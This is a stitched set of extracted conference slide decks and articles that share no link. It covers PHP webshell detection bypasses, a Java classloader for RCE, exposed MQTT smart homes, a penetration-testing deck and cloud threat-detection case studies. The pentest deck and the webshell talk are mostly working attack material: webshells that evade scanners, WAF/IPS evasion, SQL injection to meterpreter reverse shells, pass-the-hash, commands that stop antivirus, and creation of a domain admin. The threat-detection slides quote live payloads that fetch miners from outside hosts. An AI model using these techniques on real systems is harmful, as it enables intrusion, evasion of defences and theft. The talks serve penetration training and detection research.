rEFleCTIoNfUNcTIoN {}; $f->iNvOKe($_POST[2333]); 稍做变性,让“Webshell”变得更加“高深莫测” 待时而动 è 经验 >从攻击者的角度突破限制: 1. 从函数名位置入手 2. 从类名位置入手 已经可以从函数名、类名位置入手了 思考:是否可以利用参数位置绕过限制? 回看判断回调后门的步骤: → ... → 判断回调参数“是否使用匿名函数的方式定义” 一个最简单的判断回调后门的步骤 遍历AST Tree 是否调用包含回调 参数的函数 回调参数是否使用匿 名函数的方式定义 可能存在动态特性 安全 FuncCall Node 否 是 待时而动 è 如何判断回调参数“是否使用匿名函数的方式定义”? 1. 从文档获取函数名(usort),以及回调参数的位置(第二个) 2. 检测实际调用usort的时候,是否有第二个参数 3. 如果有,第二个参数是否用合法 思考:是否有方法,可以只传入一个参数,但实际上却能控制第二 个参数? 知识点:PHP5.6开始,支持参数列表的折叠与展开 • https://www.leavesongs.com/PHP/bypass-eval-length- restrict.html • 类似于Python里的**kwargs,PHP里通过...$kwarg的方式展 开参数列表 待时而动 è 利用参数列表展开绕过检测 绕过5、利用参数列表的折叠与展开,绕过对回调参数的检测 <?php usort(...$_GET); 此方法2017年我首次在博客中提出,部分杀毒软件已可以检测 经验 >从攻击者的角度突破限制: 1. 从函数名位置入手 2. 从类名位置入手 3. 从参数列表入手 思考:你是如何判断一段代码里,哪些位置是函数名,哪些位置是 类名,哪些位置是参数? 敌后武工队 è 思考:你是如何判断一段代码里,哪些位置是函数名,哪些位 置是类名,哪些位置是参数? ‧ 利用PHP-Parser解析 ‧ PHP-Parser解析的过程中,是否可能出现与PHP原生解析不同 的地方? 知识点:PHP-Parser无法处理控制字符,而PHP引擎却可以执行包 含控制字符的函数: printf<char>('hello world') 哪些字符可以插入PHP: [\x00-\x20] 敌后武工队 è 利用PHP-Parser缺陷绕过防御 绕过6、利用控制字符,使php-parser解析异常,绕过后续所有检测流程 写入一个包含控制字符的webshell: <?php $content = "<?php eval\x01\x02(\$_POST[2333]);"; file_put_contents('shell.php', $content); 暗度陈仓 è 经验 > 从攻击者的角度突破限制: 1. 从函数名位置入手 2. 从类名位置入手 3. 从参数列表入手 4. 从解析引擎的BUG入手 继续思考:有没有可能在不触发解析器异常的情况下,也让检测流程不执行呢? 暗度陈仓 è 解析器BUG不常有,但PHP Tricks常有…… PHP-Parser如何判断一个文件是否应该被解析? • 通过 <?php 标签 • 通过 <? 标签 PHP如何判断一个文件是否应该被执行? • 通过 <?php 标签 • 通过 <? 标签 • 通过 <% 标签(默认不开启,PHP7后被移除) • 通过 <script language="php"> 标签(PHP7后被移除) 差异 暗度陈仓 è 利用PHP标签差异绕过检测 PHP-Parser工作流程: 1. 在用户传入的内容中,找到PHP代码 2. 将PHP代码解析成AST Tree 绕过7、利用php-parser不识别的PHP标签,绕过后续所有检测流程 <script language="php"> eval($_POST[2333]); </script> 突破口 暗度陈仓 è 利用PHP标签差异绕过检测 经验 > 从攻击者的角度突破限制: 1. 从函数名位置入手 2. 从类名位置入手 3. 从参数列表入手 总结:清楚地认识自己的目的是什么,然后列出正常的流程,并找出关键点,逐一突破 4. 从解析引擎的BUG入手 5. 干脆绕过解析引擎 如何研究一个问题 → 理解:理解自己研究的东西究竟是干什么的,什么原理,列出步骤,找出核心点 → 技巧:根据核心点,想一些常人想不到的突破口,并学会举一反三,绕过防御机制或触发一些漏洞 → 积累:即使你找到了突破口,但没有基础知识,也无法进入下一步 谢谢观看 分享者:phith0n
pdf
Java类加载机制 本⽂发表于赛博回忆录。 正如我们学习Java安全⼀样,⼤家都知道,RCE是第⼀⽣产⼒,那么就要从Java的类加载机制和反射机制 这两类基础开始学习,下⾯我们来由浅⼊深的了解⼀下Java的类加载机制。 Java是⼀个靠JVM实现编译运⾏,从⽽跨平台的⼀个开发语⾔。 然后在虚拟机中默认了提供了了三种类加载器,启动类加载器(Bootstrap ClassLoader)、扩展类加载 器(Extension ClassLoader)、应⽤类加载器(Application ClassLoader) 双亲委派模型 三种不同的加载器,那么⼜存在⼀个谁加载,加载顺序是什么的问题,其⼤概的加载顺序可以通过学习 双亲委派模型来了解 Java程序运⾏流程⼤概如下 java代码编译class⽂件 .class⽂件读⼊内存 创建对象 1、启动类加载器 负责加载在\lib⽬录和被-Xbootclasspath参数所指定的路径中的类库 2、扩展类加载器 负责加载 \lib\ext⽬录 和 被java.ext.dirs系统变量所指定的路径中的所有类库 3、应⽤类加载器 负责加载⽤户类路径classPath所指定的类库,如果应⽤程序中没有⾃定义过⾃⼰的类加载器,⼀般情况 下这个就是程序中默认的类加载器 从图中可以看出,除类顶层的启动类加载器以外,其他加载器都有⽗类加载器,在加载⼀个类的时候, 会先从底判断是否加载了这个类,然后从顶层往下加载,只有⽗类加载器加载不类的时候才会向下加 载。 当然我们知道,⼀般我们写的程序,在我们不指定加载器的情况下,默认情况下会使 ⽤ AppClassLoader 加载类,可以通过 ClassLoader.getSystemClassLoader() 来返回系统类加载器来判断。 其中有⼀些个例,⽐如 java.io.file 类返回的就是 null 的原因就是因为已经被⽗类 Bootstrap ClassLoader 加载。 ⾃定义加载类 在知道Java的类加载的这种机制下,我们可以配合后续要讲的Java的反射来进⾏来进⾏⽐如⾃定义加载类 这个操作。 在这⾥⽐如我们如果只讲类加载的应⽤等话,我们可以通过编写⾃⼰的类的对象,来调⽤本地命令,因 为现在有很多通过RASP检测,绕过很多基于流量的保护。 第⼀步 先定义⼀个 TestWebshell 类 然后我们要采⽤⾃定义的类加载器来加载TestWebshll类 public class TestWebshell { public String hello() { System.out.println("Hello World!"); } } 通过上⾯的代码,我们定义了⼀个 MyClassLoader ,我们定义了要加载的类的 ClassName 和 其 classpath ,这样就可以⽤⽗类 ClassLoader 中的 findClass 传⼊字节码和 defineClass 注 册加载类这⼏个⽅法。 public class MyClassLoader extends ClassLoader { private static String testClassName = "类名"; private static String classPath = "路径"; //findLoadedClass⽅法检查是否初始化 //然后传⼊字节码调⽤defineClass⽅法去JVM中注册该类 @Override protected Class<?> findClass(String className ) { byte[] testClassBytes = this.loadClassData(className ); return this.defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } //对要加载的包获取其字节码 private static byte[] loadClassData(String className ) { try { // 传进来是带包名的 className = className.replace(".", "//"); FileInputStream inputStream = new FileInputStream(new File(classPath + className + ".class")); // 定义字节数组输出流 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int b = 0; while ((b = inputStream.read()) != -1) { byteArrayOutputStream.write(b); } inputStream.close(); return byteArrayOutputStream.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return null; } public static void main(String[] args) { // 创建⾃定义的类加载器 MyClassLoader loader = new MyClassLoader(); try { // 使⽤⾃定义的类加载器加载TestWebshell类 Class testClass = loader.loadClass(testClassName); // 反射创建TestWebshell类,等价于 TestWebshell t = new TestWebshell(); Object testInstance = testClass.newInstance(); // 反射获取hello⽅法 Method method = testInstance.getClass().getMethod("hello"); 这样通过我们⾃定义的 MyClassLoader 就可以调⽤编译好的类对象了,当然其中还有因为反射机 制的原因,包括我们也可以远程去加载⼀些类,⽤到的就是 URLClassLoader 来进⾏加载,这⾥就 不过多的展开了 ⼩结 总的来说,ClassLoader作为Java的重要机制,其中除了⾃定义类加载的⽅法外,其余所有的动作完全由 JVM主导和控制,ClassLoader可以为我们加载任意的加载类,在配合反射机制下,可以为我们带来各种 利⽤⽅式,后续我们可以总结⼀些常⻅的利⽤⽅式。 Java虚拟机:对象创建过程与类加载机制、双亲委派模型_张维鹏的博客-CSDN博客 ⾃定义类加载实现⼩⼩的⼈啊-CSDN博客⾃定义类加载 浅谈RASP技术攻防之基础篇 - FreeBuf⽹络安全⾏业⻔户 【深⼊Java虚拟机】之四:类加载机制兰亭⻛⾬的专栏-CSDN博客java类加载机制 // 反射调⽤hello⽅法,等价于t.hello(); method.invoke(testInstance); } catch (Exception e) { e.printStackTrace(); } } }
pdf
Welcome Home! Internet Open Telemetry Martin Hron security researcher HITCON 2018 Buzzword 2 A word or phrase which has become fashionable or popular, or sounds technical or important and is used to impress people 3 So let’s talk about IoT What is IoT? 4 Flashback: How it has started 5 • Make my house smart. DYI way. Flashback: How it has started 6 • Many smart devices or devices that can be made smart ☺ 7 Babylon of “standards” 8 • You can go two ways: • use one vendor and one solution, one cloud • you have many devices from different vendors or even dumb devices which need to be made smart 9 Babylon of “standards” 10 • Physical layer / data link • Bluetooth • RS232, RS485, CAN, eBUS • WiFi, Ethernet • ZigBee • 433, 866 MHz • and many others Babylon of “standards” 11 • Transport / application layer • Textual data • JSON • HTTP • XML • Binary oriented protocols • Proprietary protocols 12 Message Queue Telemetry Transport - MQTT 13 • publisher - subscriber model • payload agnostic • topics can be organized in tree like structure • when subscribing wildcards can be used • usually operates through TCP on port 1883 • supports “last will” and persistent topics MQTT topics 14 • Examples of topics: /house/attic/light /house/basement/door /house/basement/light • Tree like organized structure. When subscribing, you can use wildcards. # for all levels from here down the tree or + for any single level. • Subscription to /house/+/light delivers all light topics in any room • Subscription to only # delivers every topic published by anyone to this MQTT server/broker. MQTT Broker use case in “smart home” 15 MQTT Broker sensor (switch) sensor (door contact) sensor (thermometer) “smart breaker“ box with MQTT bridge actor (smart bulb) actor (garage doors) actor/sensor (heating unit) bridge sensor (switch) actor (dumb bulb) bridge bridge simple wire ZigBee ETH / WiFi eBUS bussines logic Typical implementation 16 • Various smart and dumb devices bridged to MQTT • One namespace of topics spans whole building • MQTT broker, Mosquitto is commonly used one • Business logic usually provided by some server software which connects to MQTT • It usually provides some dashboard and frontend Domoticz, openHAB, Home Assistant, MQTT dash, Node-Red and many others 17 And what about security? Yes! There is! Welcome home! 18 Welcome home! 19 Welcome home! 20 • Many dashboards have no password set • There are ~45K MQTT servers available to connect • There are ~26K MQTT servers opened without any password set • Remember? You can subscribe to # • If there is password you can still get there…… 21 Rules of the house no exploits use what is available cause no harm even if you are tempted to do so ;) 22 So let’s talk about IoT 23 DEMO TIME 24 Domoticz Home Assistant Home automation systems 25 • Similar concept • Provide business logic • Provide frontend / dashboard • Usually Integrate with MQTT 26 Domoticz 27 Home Assistant: case study 28 Home Assistant: at the same IP 29 Home Assistant: at the same IP 30 Home Assistant: give me your secrets 31 Home Assistant: Welcome Home! 32 MQTT DASH MQTT Dash 33 • Simple Android/IOS app • MQTT centric, simple UI that directly reflects state or controls devices through MQTT topics • Interesting concept of storing/loading whole configuration by publishing it to the “persistent” topic 34 35 DEMO TIME 36 OWNTRACKS PWNTRACKS Your “personal” GPS tracker 37 • Basically Android and IOS application for creating GPS tracking log • Supports MQTT • Forget about unsecured cameras, this is even worse. 38 DEMO TIME Conclusion 39 • Real world example how bad the situation is • Educate people more about security • Let’s stick to security as an opt-out choice everywhere it is possible • Please, pretty please • I beg you • DON’T STORE PASSWORDS IN PLAINTEXT THERE IS ONLY ONE SECURITY 40 STOP SAYING IoT SECURITY! 41 MQTT can be also used for automation of your garden But the risks can sometimes be “high” Go ahead and ask! 42 Thank You! Martin Hron @thinkcz hron@avast.com www.avast.com
pdf
You Spent All That Money ...And You Still Got Owned Presented By: Joe McCray joe@learnsecurityonline.com http://www.linkedin.com/in/joemccray http://twitter.com/j0emccray Let me take you back.... Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Penetration Testing Was Easy.... If you were Ub3r 31337 you did it like this.... Port Scan & Banner Grab The Target Get your exploit code... Own the boxes and take screen-shots Write The Report... Get Paid.... More Security Measures are being implemented on company networks today Firewalls are common place (perimeter and host-based) Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows Intrusion Detection/Prevention Systems are hard to detect let alone bypass NAC Solutions are making their way into networks Network/System Administrators are much more security conscious IT Hardware/Software vendors are integrating security into their SDLC . Geez...That's A Lot To Bypass Most load-balancers are deployed for redundancy and performance improvement As an attacker – load balancers are a headache. You have no idea where you packets are going.... There is absolutely no point in running tools against a host without knowing if a load balancer has been deployed. So – step 1 is to determine if the host is load balanced.... Step 2 – determine what type of load balancing is in place (HTTP or DNS) Identifying Load Balancers How can you tell if the target host is behind a load balancer? Firefox LiveHTTP Headers - https://addons.mozilla.org/en-US/firefox/addon/3829 - Look in HTTP header for modifications such as: 1. BIGipServerOS in cookie 2. nnCoection: close 3. Cneonction: close dig * Look for multiple addresses resolving to one domain name * dig google.com Identifying Load Balancers How can you tell if the target host is behind a load balancer? Netcraft.com * Look for things like "F5 BigIP" lbd.sh * http://ge.mine.nu/lbd.html * sh lbd-0.1.sh targetcompany.com halberd * http://halberd.superadditive.com/ * halberd -v targetcompany.com Identifying Load Balancers Ok – so now you've figured out if you are up against a load balancer. You've figured out if it's HTTP or DNS based load balancing and what the real IP is. Just like there's no point in running tools against a load balanced host there is no point in running tools against a host that is protected by an IPS. Sooooo...how can you tell if the target host protected an Intrusion Prevention System? Identifying Intrusion Prevention Systems How can you tell if the target host protected an Intrusion Prevention System? Curl: The netcat of the web app world http://curl.haxx.se/ curl -i http://www.targetcompany.com/../../WINNT/system32/cmd.exe?d curl -i http://www.targetcompany.com/type+c:\winnt\repair\sam._ Look for RSTs and no response....tcpdump/wireshark is your friend ;-) Active Filter Detection - http://www.purehacking.com/afd/downloads.php - osstmm-afd -P HTTP -t targetcompany.com -v Identifying Intrusion Prevention Systems Ok, so you're up against an IPS – relax...there are a few other things to consider. HINT: Most IDS/IPS solutions don't monitor SSL encrypted (actually any encrypted) traffic. SSL Accelerators are expensive so not everyone has one. Identifying Intrusion Prevention Systems Most of the time you can get around an IPS by just using encryption. The other thing to consider is whether the IPS is in-line or out of band. Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? vi /etc/xinetd.d/ssltest #default: off #description: OpenSSL s_client proxy (just change the target url) service kerberos { disable = no socket_type = stream port = 8888 wait = no protocol = tcp user = root server = /home/j0e/security/toolz/ssl_proxy.sh only_from = 127.0.0.1 bind = 127.0.0.1 } Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? (Cont.) vi /home/j0e/security/toolz/ssl_proxy.sh #!/bin/bash openssl s_client -quiet -connect www.targetcompany.com:443 2>/dev/null Start the service /usr/sbin/xinetd -d -f /etc/xinetd.d/ssltest & Run AFD against localhost osstmm-afd -v -P HTTP -t localhost -p 8888 -v Identifying Intrusion Prevention Systems To run scanning tools through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide # socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1:targetcompany.com80,socksport=9050 Now all attacks can be launched against 127.0.0.1:8080 with Nessus or similar tool. Attacking Through Tor What if you don't detect any active filtering solution in place? Can you still be missing something that messing with your traffic? What about a WAF? Most hosts running a WAF will show as not have an Active Filtering Solution in place by tools like AFD Are We Forgetting Something???? How can you determine if the target host has deployed a WAF? * https://addons.mozilla.org/en-US/firefox/addon/3829 * Look in HTTP header for modifications such as: 1. Cookie Value has WAF info in it - BIGipServerwww.google.com_pool_http - barra_counter_session - WODSESSION 2. Different server response code for hostile request - 501 Method Not Implemented 3. Different "Server" response when hostile packet is sent Identifying Web Application Firewalls WAFs are surprisingly easy to detect? Generally you just have to send 1 valid request, and one malicious request and diff the response. Malicious tends to be any HTTP request that has a payload that contains things like: ' “ < ? # - | ^ * Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://targetcompany.com/cmd.exe | grep "501 Method" Netcat $ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented" If the server responds with error code “501 Method Not Implemented” then it is running mod_security. Curl curl -i http://www.targetcompany.com/%27 HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://www.targetcompany.com/%27 Server: Apache Location: http://www.targetcompany.com/error Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 200 Condition Intercepted Date: Sun, 15 Mar 2009 01:42:01 GMT Server: Apache Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Waffit (WAFWOOF) Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Gary O'Leary-Steele http://packetstormsecurity.org/web/unicode-fun.txt [j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb Enter string to URL Unicode:<script>alert('XSS')</script> %u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff 54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52 %uff49%uff50%uff54%u003e Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 404 Not Found Date: Sat, 14 Mar 2009 19:13:10 GMT Server: Apache Bypassing Web Application Firewalls alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide Firefox Tor Button * https://addons.mozilla.org/en-US/firefox/addon/2275 Click on Firefox TOR button and have fun hacking Attacking Websites Through Tor DotNet Defender WAF Bypassing DotNet Defender DotNet Defender Dumping Admin PW – sorry DotNet Defender Getting Into The LAN from the web.... cd /home/beatdown/toolz/sqlninja-0.2.3/ vi sqlninja.beatdown.conf host = [target ip] page = /vuln/vulnpage.asp stringstart = VulnID=10; lhost = [your ip] device = eth0 msfpath = /home/beatdown/toolz/metasploit resolvedip = [your ip] ./sqlninja -m t -f sqlninja.beatdown.conf (test for injection) ./sqlninja -m f -f sqlninja.beatdown.conf (fingerprint the backend db) ./sqlninja -m u -f sqlninja.beatdown.conf (upload dnstun, netcat, or meterpreter) ./sqlninja -m s -f sqlninja.beatdown.conf (drop a shell) SQL Injection to Metasploit (SQLNinja) cd /home/beatdown/toolz/sqlmap-dev python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-shell -v 1 os-shell> python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-pwn --msf-path /home/beatdown/toolz/metasploit --priv-esc -v 10 meterpreter> SQL Injection to Metasploit (SQLMap) sudo ./msfconsole Be sure to run as root so you can set the LPORT to 443 use exploit/[name of newest browser, PDF, ActiveX, or fileformat exploit] set PAYLOAD windows/meterpreter/reverse_tcp set ExitOnSession false set LHOST [your public ip] set LPORT 443 exploit -j Getting in via clinet-side Pivot Attack: Using a compromised host as a launching point to attack other hosts... ......set up standard exploit exploit route ctrl-z <-- background the session back <--- you need to get to main msf> prompt Now set up Pivot with a route add route add 192.168.10.131 255.25.255.0 1 <-- Use correct session id route print <----- verify use exploit/windows/smb/ms08_067_dcom set PAYLOAD windows/shell/bind_tcp set RHOST 192.168.10.132 set LPORT 1234 ctrl-z <-- background the session back <--- you need to get to main msf> prompt Run auxillaries & exploits through your pivot use scanner/smb/version set RHOSTS 192.168.10.1/24 run Pivoting into the LAN Can’t get on the network????? 1. NO DHCP – static IP addresses 2. DHCP MAC Address reservations 3. Port Security 4. NAC solution Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses 1. Steal valid IP address from host 2. DHCP MAC Address reservations 1. Steal valid MAC address 3. Port Security 1. Steal valid MAC/IP address 4. NAC solution 1. Look for 802.1x exceptions such as printers, VoIP phones Common LAN SecuritySolutions Can’t get on the network????? wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz tar -zxvf vlan.1.9.tar.gz cd vlan tshark -i eth0 -v -v "ether host 01:00:0c:cc:cc:cc and (ether[24:2] = 0x2000 or ether[20:2] = 0x2000)" | grep voice vconfig add eth0 200 # 200 is Voice VLAN ID in example ifconfig eth0.200 # Verify new interface was created dhcpd -d -t 10 eth0.200 # Try to get dhcp or voiphopper Bypassing NAC Solutions c:\set Use SET to get domain information and username c:\net view Use NET VIEW to get computers in the users domain and other domains c:\net view /domain Use NET VIEW to get computers in other domains c:\net user Use NET USER to get local users on the computer you are on c:\net user /domain All users in the current user's domain c:\net localgroup Use NET LOCALGROUP to get the local groups on the computer c:\net localgroup /domain Use NET LOCALGROUP to get the domain groups c:\net localgroup administrators All users in the local administrators group c:\net localgroup administrators /domain All users in the domain administrators group c:\net group "Company Admins" /domain All users in the "Company Admins" group c:\net user "joe.mccray" /domain All info about this user c:\nltest /dclist: List Domain Controllers... Basically browsing network neighborhood, and querying Active Directory will always be considered legitimate traffic to an NIPS so you can use NET commands to enumerate a network without port scanning. Enumerating The Internal Network Against NIPS/HIPS Some commands to identify a logged in user NBTSTAT -a remotecomputer | FIND "<03>" | FIND /I /V "remotecomputer" WMIC /Node:remotecomputer ComputerSystem Get UserName PSLOGGEDON -L \\remotecomputer PSEXEC \\remotecomputer NET CONFIG WORKSTATION | FIND /I " name " PSEXEC \\remotecomputer NET NAME PSEXEC \\remotecomputer NETSH DIAG SHOW COMPUTER /V | FIND /i "username" Looking Around the Network For A User Smoking some MSF hash: Moving around the network using password hashes use exploit/windows/smb/psexec set RHOST 192.168.10.20 set SMBUser administrator set SMBPass 01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537 set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.10.10 exploit Moving Around The Network 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray Killing The HIPS (as SYSTEM with “at” command) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray Killing The HIPS (as SYSTEM with Metasploit) Stealing a domain administrator's token.... meterpreter> use incognito meterpreter> list_tokens -u meterpreter> impersonate_token "domain\\user" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token or meterpreter > list_tokens -g meterpreter > impersonate_token "DOMAIN\\Domain Admins" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token Add yourself to the Domain Admin's group c:\net user j0e j0eR0ck$ /domain /add c:\net localgroup administrators j0e /domain /add Owning The Domain You can contact me at: Toll Free: 1-866-892-2132 Email: joe@learnsecurityonline.com Twitter: http://twitter.com/j0emccray LinkedIn: http://www.linkedin.com/in/joemccray Contact Me....
pdf
从数据视角探索安全威胁 阿里云安全工程师 / cdxy whoami 0 cdxy 数据分析 / 威胁感知 异常数据清洗 1 信息穿透模型 2 Nday感知 3 落地思考 4 目录 | Content 异常数据清洗 1 Chapter 1 威胁感知模型基础 异常基线A 异常基线B 复杂模型 异常数据清洗的价值 云环境威胁感知现状 挑战 异常数据清洗价值 百万主机 PB级数据 有限的存储、计算资源 以不损失告警为前提 压缩数据量 业务场景复杂 运营资源有限 通用性、准确率要求高 理解业务特征 提升告警置信度 代码类日志清洗——词法分析 参数类日志清洗——字符序列 /index.php?name=cdxy/ / / / / / / / /AAAA// /index.php?name=ring04h/ / / / / / / /AAAADDA/ /index.php?name=<script>alert(1)</script>/ / / /CAAAAAACAAAAACDCCCAAAAAAC/ Site: URI Path异常 URI Path: Key异常 Key: Value异常 信息穿透模型 2 Chapter 2 威胁检测产品能力对比 检测类产品待解问题 信息穿透模型 高误报 准确率99% 依赖规则,安全能力依赖长期规则运营 无规则模型,低运营成本 对无危害的PoC探针行为检测能力弱 探针行为预警 对未知漏洞检测能力弱 自动覆盖Nday 仅做入侵发现 发现+回溯 信息穿透模型 案例:RCE – DRUPAL /?/ q=user/password/ &name[#type]=markup/ &name[#markup]=curl+-s+185.234.218.53/.d/miner1.sh+|+bash/ &name[#post_render][]=passthru// URI 主机用户 父进程 命令 sh/-c/curl/-s/185.234.218.53/.d/miner1.sh/|/bash /usr/sbin/httpd root 案例:RCE – WEBLOGIC <void/class="java.lang.ProcessBuilder">/////////////// <array/class="java.lang.String"/length="3">///////////////// <void/index="0"><string>C:\windows\system32\cmd.exe</string></void>/ <void/index="1"><string>/c</string></void>/ <void/index="2"><string>powershell.exe/-WindowStyle/Hidden/$P/=// nEW-oBJECT/sYSTEM.nET.wEBcLIENT;$P.DownloadFile('http:// 132.148.150.15:8080/miner.exe',/'C:\ProgramData\miner.exe');START/C: \ProgramData\miner.exe</string></void>/ </array>/ <void/method="start"/></void>/ </java></work:WorkContext>/ </soapenv:Header><soapenv:Body/></soapenv:Envelope>/ POST Data 案例:RCE – STRUTS OGNL (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil @class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm))))./ (#cmd='cmd//c/netsh/firewall/set/opmode/mode=disable'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains ('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','- c',#cmd})).(#p=new/java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.start())./ Request-Content-Type 案例:RCE – WEB SHELL执行命令 /eng/query-terminal.jsp?cmd=mkdir+-p+%2Froot%2F.ssh%2F+%26%26+touch+ %2Froot%2F.ssh%2Fauthorized_keys+%26%26+chmod+600+ %2Froot%2F.ssh%2Fauthorized_keys/ URI & POST /upload/template/default/forum/123.php?eanver=cmd/ &cmd=d2hvYW1p/ 主机用户 父进程 命令 sh/-c/whoami php-fpm:/pool/www/ www Encoded Payload /wp-content/themes/sketch/404.php/ a=Php&c=&p1=system("cat//etc/passwd");/ Process Log 案例:脚本文件上传 ------WebKitFormBoundaryrUzmdXS72dR6ZxEi/ Content-Disposition:/form-data;/name="dir"/ / E:/www/css// ------WebKitFormBoundaryrUzmdXS72dR6ZxEi/ Content-Disposition:/form-data;/name="upfile";/filename="amazeui.php"/ Content-Type:/application/octet-stream/ / <?php//*/encoded/by/http://phpc.sinaapp.com/*/ error_reporting(E_ALL^E_NOTICE);/ /.../ Request Data File Content & Path 案例:SQL OUTFILE /phpmyadmin/import.php/ / sql_query=select+"<?php+\ $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\ $test=\$func('\ $x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e (\$x));');\ $test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzd HIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZ UNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb 2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ== ');+?>"+into+outfile+"D:/www/images.php";/ Request Data File Content & Path 案例:SQL注入 select/id,type,letter,url/from/sl_types/where/letter='%'/AND/6405/IN/ (/(CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(113)+(/(CASE/WHEN/ (6405=6405)/THEN/CHAR(49)/ELSE/CHAR(48)/END)) +CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)))/AND/'%'=''/order/by/ sort/asc/limit/0,9/ SQL Log /index.php?action=listletter/ / date=2018-06-05&letter=%25%27%20AND%206405%20IN%20%28%20%28CHAR%28113%29 +CHAR%28118%29+CHAR%28112%29+CHAR%28113%29+CHAR%28113%29+ %28%20%28CASE%20WHEN%20%286405%3D6405%29%20THEN%20CHAR%2849%29%20ELSE%20 CHAR%2848%29%20END%29%29+CHAR%28113%29+CHAR%28113%29+CHAR%28106%29+CHAR% 2898%29+CHAR%28113%29%29%29%20AND%20%27%25%27%3D%27&perPage=16&status=-1 &Submit=%E6%8F%90%E4%BA%A4/ Request Data 案例:SSRF /spaces/viewdefaultdecorator.action? decoratorName=ftp://10.0.0.1/ / /uddiexplorer/SearchPublicRegistries.jsp? rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSea rchfor=&selfor=Business+location&btnSubmit=Search&ope rator=http://10.0.42.2:7001/ Intranet Session Intranet Flow DNS IP连接数 内网目标暴露 72 2 Request Data 案例:REDIS未授权访问漏洞利用 / ssh-rsa/ AAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH/ .../ Sd4pgn4gbmb8GzAvlH2xxw+SV2h/redis@redis.io/ / webshell<?php/eval($_POST[xiaoma]);/?>godkey@t/ / */*/*/*/*/curl/-fsSL/"http://r.waterdropx.com:13858/cdp.x? 